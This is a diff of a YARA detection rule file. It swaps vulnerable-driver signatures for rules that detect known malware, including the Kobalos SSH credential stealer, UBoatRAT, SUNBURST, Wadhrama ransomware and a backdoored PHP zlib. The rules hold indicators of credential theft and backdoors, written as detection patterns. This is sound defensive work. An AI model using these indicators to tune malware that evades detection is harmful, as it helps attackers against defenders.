 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2765-L2785"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "be8dd2d39a527649e34dc77ef8bc07193a4234b38597b8f51e519dadc5479ec2"
-		logic_hash = "98be6af9aa551ba153413f75d4038b2840181418e0b8eba2cfcac2aa29a4460e"
-		score = 40
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lnx_kobalos.yar#L32-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "48aec47b70633d4c8cb55d90a2e168f3c2027ef27cfe1cd5d30dcdc08a2ff717"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$encrypted_strings_sizes = {
+            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
+            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
+            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
+            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
+        }
+		$password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
+		$rsa_512_mod_header = { 10 11 02 00 09 02 00 }
+		$strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x457f and any of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3070 : FILE
+rule SIGNATURE_BASE_APT_MAL_LNX_Kobalos_SSH_Credential_Stealer : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "38ae805f-4be8-526f-b3b3-d644b05c2b25"
-		date = "2023-06-14"
+		description = "Kobalos SSH credential stealer seen in OpenSSH client"
+		author = "Marc-Etienne M.Leveille"
+		id = "0f923f92-c5d8-500d-9a2e-634ca7945c5c"
+		date = "2020-11-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2788-L2808"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "30706f110725199e338e9cc1c940d9a644d19a14f0eb8847712cba4cacda67ab"
-		logic_hash = "05e9f35f83489d262ffece0c406eebf1b81514ea60278415fbc53adc0bc365fb"
-		score = 40
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lnx_kobalos.yar#L59-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fdabaea0c838e43b8716bcd102bdeebf2f08fc041b0b909333e3d9d6f94391fc"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0053004900200043006f006d00430065006e00530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x457f and any of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CC58 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_COVID19_Apr20_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "cfb96174-106f-5ad0-875b-1be75f70ce51"
-		date = "2023-06-14"
+		description = "Detects ransomware distributed in COVID-19 theme"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fc723d1f-e969-5af6-af57-70d00bf797f4"
+		date = "2020-04-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2811-L2831"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cc586254e9e89e88334adee44e332166119307e79c2f18f6c2ab90ce8ba7fc9b"
-		logic_hash = "8eb46633cce7959cfefbc65ede889c748a077cddc59fb79d87b54ddcd42ca524"
-		score = 40
+		reference = "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_covid_ransom.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b32ce1dff9d27c5f7541de97cd1198b0d837a69ee260b327c66a22ca6f30091"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "2779863a173ff975148cb3156ee593cb5719a0ab238ea7c9e0b0ca3b5a4a9326"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "/savekey.php" wide
+		$op1 = { 3f ff ff ff ff ff 0b b4 }
+		$op2 = { 60 2e 2e 2e af 34 34 34 b8 34 34 34 b8 34 34 34 }
+		$op3 = { 1f 07 1a 37 85 05 05 36 83 05 05 36 83 05 05 34 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <700KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Rtkiosys_Windowsrcodenamelonghornddkdriver_916C : FILE
+rule SIGNATURE_BASE_APT_Fnv1A_Plus_Extra_XOR_In_MSIL_Experimental : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
-		author = "Florian Roth"
-		id = "346488b2-5390-528e-8d54-5ed3dbc6e322"
-		date = "2023-06-14"
+		description = "This rule detects the specific MSIL implementation of fnv1a of the SUNBURST backdoor (standard fnv1a + one final XOR before RET) independent of the XOR-string. (fnv64a_offset and fnv64a_prime are standard constants in the fnv1a hashing algorithm.)"
+		author = "Arnim Rupp"
+		id = "5505f7ff-eca5-5274-bdd1-dbbd648c3ccc"
+		date = "2020-12-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2834-L2856"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "916c535957a3b8cbf3336b63b2260ea4055163a9e6b214f2a7005d6d36a4a677"
-		hash = "caa85c44eb511377ea7426ff10df00a701c07ffb384eef8287636a4bca0b53ab"
-		hash = "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82"
-		logic_hash = "e4834bc67ef64766852404f06631941fa3475b55718e4f79c53f121a9809dc5e"
-		score = 40
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_backdoor_sunburst_fnv1a_experimental.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6db212b21fec8d2c1b4cff9e32bdc027835ed660e7552b49f4418e7d0b35ca11"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
+		hash2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
+		hash3 = "019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$fnv64a_offset = { 25 23 22 84 e4 9c f2 cb }
+		$fnv64a_prime_plus_gap_plus_xor_ret = { B3 01 00 00 00 01 [8-40] 61 2A 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E4D9 : FILE
+rule SIGNATURE_BASE_Uboatrat : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "b0ef62c7-b223-5d70-883d-1a6a3d28dc0d"
-		date = "2023-06-14"
+		description = "Detects UBoat RAT Samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f7f745c2-648d-5937-8d06-f5d1b6ed7e11"
+		date = "2017-11-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2859-L2879"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4d9f037411284e996a002b15b49bc227d085ee869ae1cd91ba54ff7c244f036"
-		logic_hash = "e17c01d291e60fff225ee60e296450ab2d4a293084dc4c07de7347f55566d7ee"
-		score = 40
-		quality = 85
+		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_uboat_rat.yar#L9-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3d0837607d1a5efd9986eccf98f108633502a09dbf8c4c94fc0f0247060bc3a8"
+		score = 75
+		quality = 83
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "04873dbd63279228a0a4bb1184933b64adb880e874bd3d14078161d06e232c9b"
+		hash2 = "7b32f401e2ad577e8398b2975ecb5c5ce68c5b07717b1e0d762f90a6fbd8add1"
+		hash3 = "42d8a84cd49ff3afacf3d549fbab1fa80d5eda0c8625938b6d32e18004b0edac"
+		hash4 = "6bea49e4260f083ed6b73e100550ecd22300806071f4a6326e0544272a84526c"
+		hash5 = "cf832f32b8d27cf9911031910621c21bd3c20e71cc062716923304dacf4dadb7"
+		hash6 = "bf7c6e911f14a1f8679c9b0c2b183d74d5accd559e17297adcd173d76755e271"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000350038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "URLDownloadToFileA" ascii
+		$s2 = "GetModuleFileNameW" ascii
+		$s4 = "WININET.dll" ascii
+		$s5 = "urlmon.dll" ascii
+		$s6 = "WTSAPI32.dll" ascii
+		$s7 = "IPHLPAPI.DLL" ascii
+		$op1 = { 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
+               69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
+               74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
+               6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 }
+		$vprotect = { 2E 76 6D 70 30 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and uint32( uint32(0x3c))==0x4550 and filesize <1400KB and filesize >800KB and ( all of ($s*) and $op1 at 64 and uint16( uint32(0x3c)+11)==0x59 and $vprotect in (600..700))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrwinddkprovider_Cupfixerxsys_Windowsrwinddkdriver_8C74 : FILE
+rule SIGNATURE_BASE_Uboatrat_Dropper : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CupFixerx64.sys"
-		author = "Florian Roth"
-		id = "32559d4c-eef4-5b67-a74c-f89589bc446b"
-		date = "2023-06-14"
+		description = "Detects UBoatRAT Dropper"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f3d4e333-1282-5f6e-9294-628a8230d2a5"
+		date = "2017-11-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2882-L2902"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8c748ae5dcc10614cc134064c99367d28f3131d1f1dda0c9c29e99279dc1bdd9"
-		logic_hash = "d0eb0738da64ce1a94278a422e829f01d1514ac4536fc2187aa5f4112b70f6e0"
-		score = 40
+		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_uboat_rat.yar#L52-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f8dcc8559fa0ab1644ef6bab9bc875f3d62391c157b373e0355ad03d35e5601"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f4c659238ffab95e87894d2c556f887774dce2431e8cb87f881df4e4d26253a3"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530069006e0063006500790020004300750070002000460069007800650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "GetCurrenvackageId" fullword ascii
+		$s2 = "fghijklmnopq" fullword ascii
+		$s3 = "23456789:;<=>?@ABCDEFGHIJKLMNOPQ" fullword ascii
+		$s4 = "PMM/dd/y" fullword ascii
+		$s5 = "bad all" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_B175 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Ransomware_Wadhrama : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
-		author = "Florian Roth"
-		id = "1c0669aa-b156-580f-9bb0-d69502af6a7f"
-		date = "2023-06-14"
+		description = "Detects Wadhrama Ransomware via Imphash"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f7de40e9-fe22-5f14-abc6-f6611a4382ac"
+		date = "2019-04-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2905-L2925"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b17507a3246020fa0052a172485d7b3567e0161747927f2edf27c40e310852e0"
-		logic_hash = "bfcaa037bc06303a0de6a0372cd9dd49bd9801610989df46ca19fd844b22560e"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mal_ransom_wadharma.yar#L3-L13"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d78837ed7cb8914be0990859751cf64603ee5a5ad135541c60c6ae145046412"
+		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000370020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
+		hash1 = "557c68e38dce7ea10622763c10a1b9f853c236b3291cd4f9b32723e8714e5576"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and pe.imphash()=="f86dec4a80961955a89e7ed62046cc0e"
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_2AFD : FILE
+rule SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Zlib_Zerodium_Mar21_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "4dc89f62-c0e0-5abf-9774-3ca21f8a1d8e"
-		date = "2023-06-14"
+		description = "Detects backdoored PHP zlib version"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5e0ab8f8-776a-52b0-b5be-ff1d34bccfd1"
+		date = "2021-03-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2928-L2948"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2afdb3278a7b57466a103024aef9ff7f41c73a19bab843a8ebf3d3c4d4e82b30"
-		logic_hash = "a687639311529ca919f90d478ddbb39e441ce24a58be056af7a7108db3f11f25"
-		score = 40
+		reference = "https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_php_zlib_backdoor.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "74bfd9e12cb7671cde953d361a2adeb9388edd9b2aab0f9ce04dce0d433561dc"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000390038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "REMOVETHIS: sold to zerodium, mid 2017" fullword ascii
+		$x2 = "HTTP_USER_AGENTT" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustekcomputerinc_Iomapsys_Asuskernelmodedriverfornt_EA85 : FILE
+rule SIGNATURE_BASE_Dubseven_File_Set : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IOMap64.sys"
-		author = "Florian Roth"
-		id = "8b2fbab4-4b54-57dc-9591-1d993e844dc0"
-		date = "2023-06-14"
+		description = "Searches for service files loading UP007"
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "5b0a9cb9-aeef-5508-8854-51ad846b22c5"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2951-L2971"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ea85bbe63d6f66f7efee7007e770af820d57f914c7f179c5fee3ef2845f19c41"
-		logic_hash = "f9ffedd3761c0cf68d5f862ceb8e22a61a5da73e757cf92317085b714656e139"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L1-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "af98ab901ca97a350aa837779d74208a780b1099e113cfa59bee2eb33690918e"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f004d00610070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 }
